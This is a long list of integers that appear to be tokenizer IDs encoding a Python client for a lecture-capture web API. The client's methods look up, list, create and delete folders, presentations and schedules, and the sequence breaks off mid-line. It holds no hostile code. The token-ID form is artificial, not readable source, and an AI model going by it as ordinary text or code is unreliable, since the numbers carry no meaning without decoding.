3366, 4906, 3108, 3366, 1767, 20068, 30004, 13, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 1284, 29918, 12083, 29918, 1609, 29918, 978, 29918, 392, 29918, 3560, 29918, 333, 29898, 1311, 29892, 4138, 29918, 978, 29892, 3847, 29918, 333, 13776, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 10987, 29879, 1612, 3173, 568, 4138, 2729, 373, 4944, 1024, 322, 3847, 4138, 3553, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 7429, 363, 278, 716, 1612, 3173, 568, 4138, 30004, 13, 9651, 3847, 29918, 333, 29901, 1612, 3173, 568, 3847, 4138, 3553, 363, 671, 408, 263, 3407, 1298, 297, 445, 740, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 9819, 2933, 515, 278, 1612, 3173, 568, 1856, 7882, 2009, 304, 1284, 278, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 7974, 292, 363, 4138, 525, 17969, 12083, 29918, 978, 13578, 29915, 1090, 3847, 15691, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 565, 3847, 29918, 333, 1275, 376, 1115, 30004, 13, 9651, 3847, 29918, 333, 353, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 657, 29918, 4632, 29918, 3560, 29918, 12083, 29918, 333, 26471, 13, 30004, 13, 4706, 396, 5675, 278, 1612, 3173, 568, 2009, 773, 278, 1400, 848, 1476, 2038, 304, 1653, 278, 4138, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 3908, 4572, 29922, 1170, 11594, 525, 17969, 12083, 29918, 978, 13578, 29915, 322, 22280, 12924, 1204, 11594, 525, 17969, 3560, 29918, 333, 13578, 29915, 322, 3599, 11078, 839, 11594, 2089, 613, 376, 2564, 3126, 26471, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 396, 361, 727, 338, 385, 1059, 29892, 1480, 372, 30004, 13, 9651, 565, 376, 397, 532, 29889, 2704, 29908, 297, 1121, 29901, 30004, 13, 18884, 12183, 29889, 2704, 29898, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 401, 3108, 29974, 1115, 15691, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 4906, 3108, 3366, 1767, 20068, 30004, 13, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 1284, 29918, 276, 8798, 839, 29918, 12083, 29918, 1609, 29918, 978, 29918, 392, 29918, 3560, 29918, 333, 29898, 1311, 29892, 4138, 29918, 978, 29892, 3847, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 10987, 29879, 1612, 3173, 568, 4138, 2729, 373, 4944, 1024, 322, 3847, 4138, 3553, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 7429, 363, 278, 716, 1612, 3173, 568, 4138, 30004, 13, 9651, 3847, 29918, 333, 29901, 1612, 3173, 568, 3847, 4138, 3553, 363, 671, 408, 263, 3407, 1298, 297, 445, 740, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 9819, 2933, 515, 278, 1612, 3173, 568, 1856, 7882, 2009, 304, 1284, 278, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 7974, 292, 363, 1162, 11078, 839, 4138, 525, 17969, 12083, 29918, 978, 13578, 29915, 1090, 3847, 15691, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 396, 5675, 278, 1612, 3173, 568, 2009, 773, 278, 1400, 848, 1476, 2038, 304, 1653, 278, 4138, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 3908, 4572, 29922, 1170, 11594, 525, 17969, 12083, 29918, 978, 13578, 29915, 322, 22280, 12924, 1204, 11594, 525, 17969, 3560, 29918, 333, 13578, 29915, 392, 3599, 11078, 839, 11594, 1565, 613, 376, 2564, 3126, 26471, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 396, 361, 727, 338, 385, 1059, 29892, 1480, 372, 30004, 13, 9651, 565, 376, 397, 532, 29889, 2704, 29908, 297, 1121, 29901, 30004, 13, 18884, 12183, 29889, 2704, 29898, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 401, 3108, 29974, 1115, 15691, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 4906, 3108, 3366, 1767, 20068, 30004, 13, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 6338, 800, 29918, 392, 29918, 816, 287, 2540, 29918, 1609, 29918, 3560, 29918, 12083, 29918, 978, 29898, 1311, 29892, 4138, 29918, 978, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 28598, 2540, 322, 2198, 800, 1476, 1090, 697, 3847, 4138, 29892, 11975, 1269, 2278, 4138, 1090, 484, 493, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 310, 278, 1612, 3173, 568, 4138, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 4902, 310, 28598, 2540, 322, 2198, 800, 1476, 2629, 1612, 3173, 568, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 4138, 353, 1612, 3173, 568, 29889, 12083, 29889, 657, 29918, 12083, 29918, 1609, 29918, 978, 29898, 12083, 29918, 978, 8443, 13, 30004, 13, 4706, 565, 938, 29898, 12083, 29889, 3126, 580, 3366, 397, 532, 29889, 2798, 20068, 1405, 29871, 29900, 29901, 30004, 13, 9651, 3847, 29918, 333, 353, 4138, 29889, 3126, 580, 3366, 1767, 3108, 29961, 29900, 29962, 3366, 1204, 3108, 30004, 13, 30004, 13, 9651, 2278, 29918, 8771, 414, 353, 1612, 3173, 568, 29889, 12083, 29889, 657, 29918, 5145, 29918, 8771, 414, 29898, 3560, 29918, 333, 8443, 13, 9651, 2278, 29918, 8771, 414, 29889, 4397, 29898, 12083, 29889, 3126, 580, 3366, 1767, 3108, 29961, 29900, 2314, 30004, 13, 30004, 13, 9651, 2198, 800, 353, 5159, 30004, 13, 9651, 28598, 2540, 353, 5159, 30004, 13, 30004, 13, 9651, 363, 4138, 297, 2278, 29918, 8771, 414, 29901, 30004, 13, 18884, 2198, 800, 29918, 2914, 353, 1612, 3173, 568, 29889, 12083, 29889, 657, 29918, 12083, 29918, 6338, 800, 29898, 12083, 3366, 1204, 20068, 30004, 13, 18884, 518, 6338, 800, 29889, 4397, 29898, 26081, 29897, 363, 24329, 297, 2198, 800, 29918, 2914, 29889, 3126, 580, 3366, 1767, 3108, 29962, 30004, 13, 18884, 28598, 2540, 29918, 2914, 353, 1612, 3173, 568, 29889, 12083, 29889, 657, 29918, 12083, 29918, 816, 287, 2540, 29898, 12083, 3366, 1204, 20068, 30004, 13, 18884, 1596, 29898, 816, 287, 2540, 29918, 2914, 29889, 3126, 3101, 30004, 13, 18884, 518, 816, 287, 2540, 29889, 4397, 29898, 816, 11272, 29897, 363, 20410, 297, 28598, 2540, 29918, 2914, 29889, 3126, 580, 3366, 1767, 3108, 29962, 30004, 13, 30004, 13, 4706, 736, 2198, 800, 29892, 28598, 2540, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 12083, 29918, 816, 287, 2540, 29898, 1311, 29892, 3847, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 28598, 2540, 1476, 1090, 1612, 3173, 568, 4138, 2183, 4138, 29915, 29879, 1178, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 3847, 29918, 333, 29901, 1178, 310, 1612, 3173, 568, 4138, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 4902, 310, 28598, 2540, 1476, 2629, 1612, 3173, 568, 4138, 30004, 13, 30004, 13, 4706, 3940, 29901, 445, 3732, 671, 310, 278, 376, 816, 287, 2540, 29908, 3436, 3173, 568, 3450, 5717, 408, 694, 4475, 376, 8771, 414, 29908, 1246, 4864, 472, 445, 931, 22993, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29943, 4015, 3436, 3173, 568, 2198, 800, 1090, 3847, 29901, 15691, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 4504, 287, 2540, 613, 3908, 3332, 29922, 29896, 29900, 29900, 29987, 29938, 4572, 29922, 12924, 1204, 11594, 525, 17969, 3560, 29918, 333, 13578, 29915, 3284, 1159, 30004, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 12083, 29918, 6338, 800, 29898, 1311, 29892, 3847, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 2198, 800, 1476, 1090, 1612, 3173, 568, 4138, 2183, 4138, 29915, 29879, 1178, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 3847, 29918, 333, 29901, 1178, 310, 1612, 3173, 568, 4138, 30004, 13, 9651, 599, 29918, 1272, 29901, 2534, 599, 1856, 7882, 2933, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 4902, 310, 2198, 800, 1476, 2629, 1612, 3173, 568, 4138, 11167, 13, 9651, 871, 1178, 29892, 3611, 29892, 322, 12271, 565, 599, 29918, 1272, 338, 12708, 30004, 13, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 8382, 703, 29943, 4015, 3436, 3173, 568, 2198, 800, 1090, 3847, 29901, 376, 718, 3847, 29918, 333, 8443, 13, 30004, 13, 4706, 11924, 353, 29871, 29945, 29900, 30004, 13, 4706, 4138, 29918, 6338, 800, 353, 5159, 30004, 13, 30004, 13, 4706, 2446, 29918, 3488, 353, 285, 13090, 2622, 29922, 8159, 29987, 29938, 11014, 29922, 29900, 29987, 29938, 3332, 3790, 25629, 10162, 30004, 13, 4706, 1550, 2446, 29918, 3488, 29901, 30004, 13, 9651, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 285, 29908, 29943, 1025, 414, 1194, 29915, 29912, 3560, 29918, 333, 1012, 1495, 29914, 13504, 296, 800, 613, 2446, 29918, 3488, 8443, 13, 9651, 565, 451, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 18884, 1121, 353, 1121, 29889, 3126, 26471, 13, 18884, 848, 353, 1121, 1839, 1767, 2033, 30004, 13, 18884, 4138, 29918, 6338, 800, 29889, 21843, 29898, 1272, 8443, 13, 18884, 2446, 29918, 2324, 353, 1121, 29889, 657, 877, 397, 532, 29889, 4622, 6595, 1495, 30004, 13, 18884, 2446, 29918, 3488, 353, 2446, 29918, 2324, 29889, 5451, 877, 29973, 1495, 14352, 29896, 29962, 565, 2446, 29918, 2324, 1683, 6213, 30004, 13, 4706, 736, 4138, 29918, 6338, 800, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 12083, 29918, 28045, 29879, 29898, 1311, 29892, 3847, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 2198, 800, 1476, 1090, 1612, 3173, 568, 4138, 2183, 4138, 29915, 29879, 1178, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 3847, 29918, 333, 29901, 1178, 310, 1612, 3173, 568, 4138, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 4902, 310, 2198, 800, 1476, 2629, 1612, 3173, 568, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 29898, 29888, 29915, 29943, 4015, 3436, 3173, 568, 16653, 29879, 1090, 4138, 3847, 29901, 426, 3560, 29918, 333, 29913, 1495, 30004, 13, 30004, 13, 4706, 848, 353, 1051, 26471, 13, 4706, 2446, 29918, 3488, 353, 285, 29908, 29938, 3332, 29922, 29953, 29900, 29900, 29987, 29938, 4572, 29922, 6595, 287, 12924, 1204, 11594, 22372, 3560, 29918, 333, 10162, 19451, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29907, 3968, 29879, 613, 2446, 29918, 3488, 8443, 13, 30004, 13, 4706, 2446, 29918, 3488, 353, 851, 26471, 13, 4706, 565, 451, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 1121, 353, 1121, 29889, 3126, 26471, 13, 9651, 848, 29889, 21843, 29898, 2914, 29889, 657, 877, 1767, 8785, 30004, 13, 9651, 2446, 29918, 3488, 353, 1121, 29889, 657, 877, 397, 532, 29889, 4622, 6595, 1495, 30004, 13, 30004, 13, 4706, 1550, 2446, 29918, 3488, 29901, 30004, 13, 9651, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29907, 3968, 29879, 613, 2446, 29918, 3488, 8443, 13, 9651, 565, 451, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 18884, 1121, 353, 1121, 29889, 3126, 26471, 13, 18884, 848, 29889, 21843, 29898, 2914, 29889, 657, 877, 1767, 8785, 30004, 13, 9651, 2446, 29918, 3488, 353, 1121, 29889, 657, 877, 397, 532, 29889, 4622, 6595, 1495, 30004, 13, 30004, 13, 4706, 736, 848, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 5145, 29918, 8771, 414, 29898, 1311, 29892, 3847, 29918, 333, 29892, 2278, 29918, 2914, 29922, 2636, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 1612, 3173, 568, 2278, 16495, 2183, 3847, 1178, 310, 263, 4138, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 3847, 29918, 333, 29901, 1178, 310, 1612, 3173, 568, 4138, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 1051, 310, 2278, 4138, 1178, 29915, 29879, 6942, 411, 278, 2183, 3847, 4138, 1178, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 8382, 703, 29943, 4015, 2278, 3436, 3173, 568, 16495, 1090, 3847, 29901, 15691, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 3908, 3332, 29922, 29896, 29900, 29900, 29987, 29938, 4572, 29922, 9780, 12924, 1204, 11594, 525, 17969, 3560, 29918, 333, 13578, 29915, 322, 3599, 11078, 839, 11594, 2089, 3284, 1159, 30004, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 29897, 470, 938, 29898, 2914, 29889, 3126, 580, 3366, 397, 532, 29889, 2798, 20068, 5277, 29871, 29900, 29901, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 363, 4138, 297, 1121, 29889, 3126, 580, 3366, 1767, 3108, 29901, 30004, 13, 18884, 2278, 29918, 2914, 29889, 4397, 29898, 12083, 8443, 13, 18884, 1583, 29889, 657, 29918, 5145, 29918, 8771, 414, 29898, 12083, 3366, 1204, 12436, 2278, 29918, 2914, 8443, 13, 30004, 13, 9651, 736, 2278, 29918, 2914, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 12083, 29918, 1609, 29918, 978, 29898, 1311, 29892, 4138, 29918, 978, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 4138, 2472, 2183, 4138, 1024, 2629, 1612, 3173, 568, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 310, 4138, 607, 338, 304, 367, 1476, 491, 1024, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 278, 3847, 3553, 310, 278, 1612, 3173, 568, 376, 19302, 3173, 568, 23861, 29908, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29943, 4015, 3436, 3173, 568, 4138, 2472, 411, 1024, 310, 29901, 15691, 12083, 29918, 978, 8443, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 3908, 4572, 29922, 1170, 11594, 525, 17969, 12083, 29918, 978, 13578, 29915, 322, 3599, 11078, 839, 11594, 2089, 3284, 2564, 3126, 26471, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 12083, 29918, 1609, 29918, 333, 29898, 1311, 29892, 4138, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 4138, 2472, 2183, 4138, 1024, 2629, 1612, 3173, 568, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 310, 4138, 607, 338, 304, 367, 1476, 491, 1024, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 278, 3847, 3553, 310, 278, 1612, 3173, 568, 376, 19302, 3173, 568, 23861, 29908, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29943, 4015, 3436, 3173, 568, 4138, 2472, 411, 1178, 310, 29901, 15691, 12083, 29918, 333, 8443, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 877, 17969, 12083, 29918, 333, 13578, 1495, 613, 12633, 376, 3284, 2564, 3126, 26471, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 497, 29918, 8771, 414, 29898, 1311, 29892, 4236, 29918, 8771, 414, 29922, 8516, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 599, 1612, 3173, 568, 16495, 1024, 29892, 3553, 29892, 322, 3847, 3553, 18028, 515, 1612, 3173, 568, 1788, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 1051, 310, 8600, 4452, 6943, 1612, 3173, 568, 4138, 2983, 29892, 12271, 29892, 3553, 29915, 29879, 322, 3847, 4138, 3553, 29915, 29879, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29954, 1624, 292, 599, 3436, 3173, 568, 16495, 1159, 30004, 13, 30004, 13, 4706, 565, 451, 1583, 29889, 8771, 414, 29901, 30004, 13, 9651, 11924, 353, 29871, 29896, 29900, 29900, 29900, 30004, 13, 9651, 16495, 353, 5159, 30004, 13, 9651, 2446, 29918, 3488, 353, 285, 13090, 11014, 29922, 29900, 29987, 29938, 3332, 3790, 25629, 15704, 29938, 2622, 29922, 8159, 29915, 30004, 13, 9651, 1550, 2446, 29918, 3488, 29901, 30004, 13, 18884, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 877, 657, 742, 525, 29943, 1025, 414, 742, 2446, 29918, 3488, 8443, 13, 18884, 565, 451, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 462, 1678, 1121, 353, 1121, 29889, 3126, 26471, 13, 462, 1678, 4138, 353, 1121, 1839, 1767, 2033, 30004, 13, 462, 1678, 16495, 29889, 21843, 29898, 12083, 8443, 13, 462, 1678, 2446, 29918, 2324, 353, 1121, 29889, 657, 877, 397, 532, 29889, 4622, 6595, 1495, 30004, 13, 462, 1678, 2446, 29918, 3488, 353, 2446, 29918, 2324, 29889, 5451, 877, 29973, 1495, 14352, 29896, 29962, 565, 2446, 29918, 2324, 1683, 6213, 30004, 13, 18884, 565, 4236, 29918, 8771, 414, 322, 7431, 29898, 8771, 414, 29897, 1405, 938, 29898, 3317, 29918, 8771, 414, 1125, 30004, 13, 462, 1678, 2867, 30004, 13, 30004, 13, 9651, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 842, 29918, 8771, 414, 29898, 8771, 414, 8443, 13, 9651, 1583, 29889, 8771, 414, 353, 16495, 30004, 13, 30004, 13, 4706, 736, 1583, 29889, 8771, 414, 30004, 13, 30004, 13, 1678, 822, 6088, 29918, 392, 29918, 3258, 29918, 8771, 414, 29898, 1311, 29892, 16495, 29892, 3847, 29918, 333, 13776, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 20969, 278, 4944, 2224, 310, 16495, 297, 278, 14839, 29892, 628, 17528, 287, 491, 5591, 29908, 322, 1653, 1269, 30004, 13, 4706, 1090, 278, 4629, 5923, 3876, 4138, 2629, 1612, 3173, 568, 22993, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 16495, 29901, 1347, 6943, 2999, 16495, 6219, 491, 5591, 19451, 13, 9651, 3847, 29918, 333, 29901, 1612, 3173, 568, 3847, 4138, 3553, 363, 671, 408, 263, 3407, 1298, 297, 445, 740, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 2186, 1612, 3173, 568, 4138, 1178, 313, 677, 342, 3233, 4138, 8443, 13, 4706, 9995, 30004, 13, 4706, 565, 3847, 29918, 333, 1275, 376, 1115, 30004, 13, 9651, 3847, 29918, 333, 353, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 657, 29918, 4632, 29918, 3560, 29918, 12083, 29918, 333, 26471, 13, 30004, 13, 4706, 16495, 29918, 1761, 353, 16495, 29889, 5451, 11974, 1159, 30004, 13, 30004, 13, 4706, 396, 7888, 1549, 1749, 16495, 1051, 4969, 1269, 4138, 773, 278, 3847, 310, 278, 1833, 30004, 13, 4706, 363, 4138, 297, 16495, 29918, 1761, 29901, 30004, 13, 9651, 565, 4138, 2804, 376, 1115, 30004, 13, 18884, 1121, 353, 1583, 29889, 3258, 29918, 12083, 29898, 12083, 29892, 3847, 29918, 333, 8443, 13, 18884, 565, 376, 1204, 29908, 297, 1121, 29901, 30004, 13, 462, 1678, 3847, 29918, 333, 353, 1121, 3366, 1204, 3108, 30004, 13, 18884, 1683, 29901, 30004, 13, 462, 1678, 2867, 30004, 13, 30004, 13, 4706, 736, 3847, 29918, 333, 30004, 13, 30004, 13, 1678, 822, 5217, 29918, 12083, 29898, 1311, 29892, 4138, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 897, 1026, 267, 4138, 2729, 373, 4138, 16605, 1178, 4944, 408, 2980, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 333, 29901, 16605, 310, 4138, 304, 5217, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 2933, 515, 1612, 3173, 568, 1788, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 2772, 1026, 292, 1612, 3173, 568, 4138, 411, 16605, 310, 29901, 15691, 12083, 29918, 333, 8443, 13, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 2490, 613, 376, 29943, 1025, 414, 877, 17969, 12083, 29918, 333, 13578, 1495, 29914, 12498, 12924, 613, 12633, 29912, 1800, 30004, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 736, 1121, 30004, 13, 30004, 13, 1678, 822, 5217, 29918, 12083, 29918, 1609, 29918, 2084, 29898, 1311, 29892, 4138, 29918, 2084, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 897, 1026, 267, 3847, 4138, 3704, 19998, 1784, 2278, 4138, 470, 1014, 29899, 17664, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 2084, 29901, 1612, 3173, 568, 10643, 25792, 4138, 2224, 29892, 363, 429, 5591, 7583, 29914, 19634, 29871, 29906, 29900, 29896, 29947, 29914, 3057, 19451, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 2933, 515, 1612, 3173, 568, 1788, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 3847, 29918, 333, 353, 5124, 30004, 13, 30004, 13, 4706, 396, 1454, 1269, 4138, 1476, 297, 4944, 2224, 29892, 1284, 372, 491, 1024, 322, 3847, 4138, 16605, 30004, 13, 30004, 13, 4706, 363, 4138, 29918, 978, 297, 4138, 29918, 2084, 29889, 5451, 11974, 1159, 29961, 29896, 29901, 5387, 30004, 13, 9651, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 2886, 29918, 12083, 29918, 1609, 29918, 978, 29918, 392, 29918, 3560, 29918, 333, 29898, 12083, 29918, 978, 29892, 3847, 29918, 333, 8443, 13, 9651, 565, 938, 29898, 2914, 3366, 397, 532, 29889, 2798, 20068, 1405, 29871, 29900, 29901, 30004, 13, 18884, 363, 2944, 297, 1121, 3366, 1767, 3108, 29901, 30004, 13, 462, 1678, 565, 2944, 3366, 1170, 3108, 1275, 4138, 29918, 978, 29901, 30004, 13, 462, 4706, 3847, 29918, 333, 353, 2944, 3366, 1204, 3108, 30004, 13, 9651, 1683, 29901, 30004, 13, 18884, 396, 361, 591, 1016, 29915, 29873, 1284, 697, 310, 278, 16495, 297, 278, 4944, 2224, 29892, 736, 304, 5040, 445, 740, 515, 3133, 292, 30004, 13, 18884, 12183, 29889, 2704, 703, 2525, 519, 304, 1284, 4138, 297, 4944, 2224, 29901, 15691, 12083, 29918, 978, 8443, 13, 18884, 736, 30004, 13, 30004, 13, 4706, 396, 5992, 376, 11651, 287, 29908, 2198, 800, 322, 28598, 2540, 408, 1438, 508, 5557, 16495, 515, 1641, 11132, 30004, 13, 4706, 2278, 29918, 8771, 414, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 657, 29918, 5145, 29918, 8771, 414, 29898, 3560, 29918, 333, 8443, 13, 4706, 2278, 29918, 8771, 414, 29889, 4397, 3319, 29908, 1204, 1115, 3560, 29918, 333, 1800, 30004, 13, 30004, 13, 4706, 396, 29887, 1624, 16653, 29879, 408, 1438, 674, 367, 4312, 2678, 30004, 13, 4706, 1583, 29889, 2168, 3173, 568, 29889, 28045, 29889, 657, 29918, 497, 29918, 28045, 29879, 26471, 13, 4706, 16653, 29879, 353, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 657, 29918, 28045, 29879, 26471, 13, 30004, 13, 4706, 363, 4138, 297, 2278, 29918, 8771, 414, 29901, 30004, 13, 9651, 4138, 29918, 6338, 800, 353, 1583, 29889, 2168, 3173, 568, 29889, 12083, 29889, 657, 29918, 12083, 29918, 6338, 800, 29898, 12083, 3366, 1204, 20068, 30004, 13, 30004, 13, 9651, 396, 26081, 2425, 304, 3349, 2198, 800, 411, 263, 4660, 310, 376, 9182, 287, 29908, 470, 376, 9182, 19451, 13, 9651, 4138, 29918, 6338, 800, 29918, 3126, 353, 4138, 29918, 6338, 800, 29889, 3126, 26471, 13, 9651, 565, 938, 29898, 12083, 29918, 6338, 800, 29918, 3126, 3366, 397, 532, 29889, 2798, 20068, 1405, 29871, 29900, 29901, 30004, 13, 18884, 363, 24329, 297, 4138, 29918, 6338, 800, 29918, 3126, 3366, 1767, 3108, 29901, 30004, 13, 462, 1678, 1596, 29898, 26081, 3366, 5709, 20068, 30004, 13, 462, 1678, 396, 361, 24329, 3366, 5709, 3108, 1275, 376, 9182, 287, 29908, 470, 24329, 3366, 5709, 3108, 1275, 376, 9182, 1115, 30004, 13, 462, 1678, 12183, 29889, 3888, 703, 2772, 1026, 292, 24329, 15691, 26081, 3366, 7030, 3108, 13578, 304, 9801, 2117, 3097, 304, 5217, 3847, 4138, 29898, 29879, 